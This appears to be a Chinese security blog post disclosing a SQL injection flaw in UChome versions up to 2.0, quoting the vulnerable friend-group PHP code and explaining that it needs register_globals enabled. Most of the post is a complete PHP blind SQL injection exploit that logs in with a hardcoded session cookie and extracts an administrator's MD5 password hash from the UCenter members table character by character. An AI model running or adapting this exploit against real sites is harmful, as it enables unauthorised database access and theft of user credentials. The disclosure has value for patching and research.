这个注入从1.2版本就存在,08年末在大家广泛使用1.5版本的时候要搞个uchome的站,于是看了下源码找到这个点,写了个没用的exp藏一年多了一直丢硬盘没发,前几天看了下2.0版本看到依旧存在,还跟flyh4t说要不要公布呢。既然xhming公布了,我也说下吧。估计很多大牛也做为后备0day雪藏很久了吧。
首先说鸡肋,两个原因导致:
1是漏洞的存在必须开启全局变量,即register_globals为on;
2是基于ucenter本身产品的安全性,即使注入得到密码,又有几个能破的了的。
然后说漏洞,其实很容易就可以看到:
if($space['friendnum']) { //必须有好友,才能触发
$groups = getfriendgroup();
$theurl = 'cp.php?ac=friend&op=group';
$group = !isset($_GET['group'])?'-1':intval($_GET['group']);
if($group > -1) {//条件可以控制且无需控制
$wheresql = "AND main.gid='$group'";//$wheresql 没有初始化
$theurl .= "&group=$group";
}
$count = $_SGLOBAL['db']->result($_SGLOBAL['db']->query("SELECT COUNT(*) FROM ".tname('friend')." main
WHERE main.uid='$space[uid]' AND main.status='1' $wheresql"), 0);
$query = $_SGLOBAL['db']->query("SELECT main.fuid AS uid,main.fusername AS username, main.gid, main.num FROM ".tname('friend')." main
WHERE main.uid='$space[uid]' AND main.status='1' $wheresql
ORDER BY main.dateline DESC
LIMIT $start,$perpage");
while ($value = $_SGLOBAL['db']->fetch_array($query)) {
realname_set($value['uid'], $value['username']);
$value['group'] = $groups[$value['gid']];
$list[] = $value;
}
$multi = multi($count, $perpage, $page, $theurl);
}
类似于去年ECShop暴出的那个注射漏洞,而且利用条件也一样,需要works with register_globals = On。
无语的是,升级版本的时候程序员居然没有发现~
开启全局下利用:
1.注册号登录加好友,必须存在好友;
2.由于两个SQL都调用了,union select注不方便,可以直接盲注,丢个简单的exp:
傻傻问下:注入到密码有啥用:)
<?
print_r('
--------------------------------------------------------------------------------
UChome <=2.0 "wheresql" blind SQL injection/admin credentials disclosure exploit
BY oldjun
--------------------------------------------------------------------------------
');
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to UChome
uid: uid to UChome
Example:
php '.$argv[0].' localhost / 1
--------------------------------------------------------------------------------
');
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$uid=$argv[3];
$prefix="cdb_uc_";
$cookie="cdb_sid=UR4dP4; uchome_loginuser=oldjun; uchome_sendmail=1; uchome_auth=2fea%2FFzIOg1fohrxPmoRl9pazueVlMxlY2D%2BT%2BmKUt9fAGyBWuXRk8iq9SbNCM9zQ9rfrnW%2FJ%2BBaq%2BkxpMkp; uchome_synfriend=1; uchome_checkpm=1";//need modify
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}
/*need login*/
$packet ="GET ".$path."cp.php?ac=friend&op=group HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//echo $html;
if (eregi(chr(196).chr(250).chr(208).chr(232).chr(210).chr(170).chr(207).chr(200).chr(181).chr(199).chr(194).chr(188),$html))
{
die("Login first!");
}
echo "[~]exploting now,plz waiting\r\n";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$packet ="GET ".$path."cp.php?ac=friend&op=group&wheresql=/**/and/**/1=(select/**/count(*)/**/from/**/".$prefix."members/**/where/**/ASCII(SUBSTRING(password,".$j.",1))=".$i."/**/and/**/uid=".$uid.") HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi(chr(195).chr(187).chr(211).chr(208).chr(207).chr(224).chr(185).chr(216).chr(211).chr(195).chr(187).chr(167),$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
print_r('
--------------------------------------------------------------------------------
[+]pwd(md5 32位) -> '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>